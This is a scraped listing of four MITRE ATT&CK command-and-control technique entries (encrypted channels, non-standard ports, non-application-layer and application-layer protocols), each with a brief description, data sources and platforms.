Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre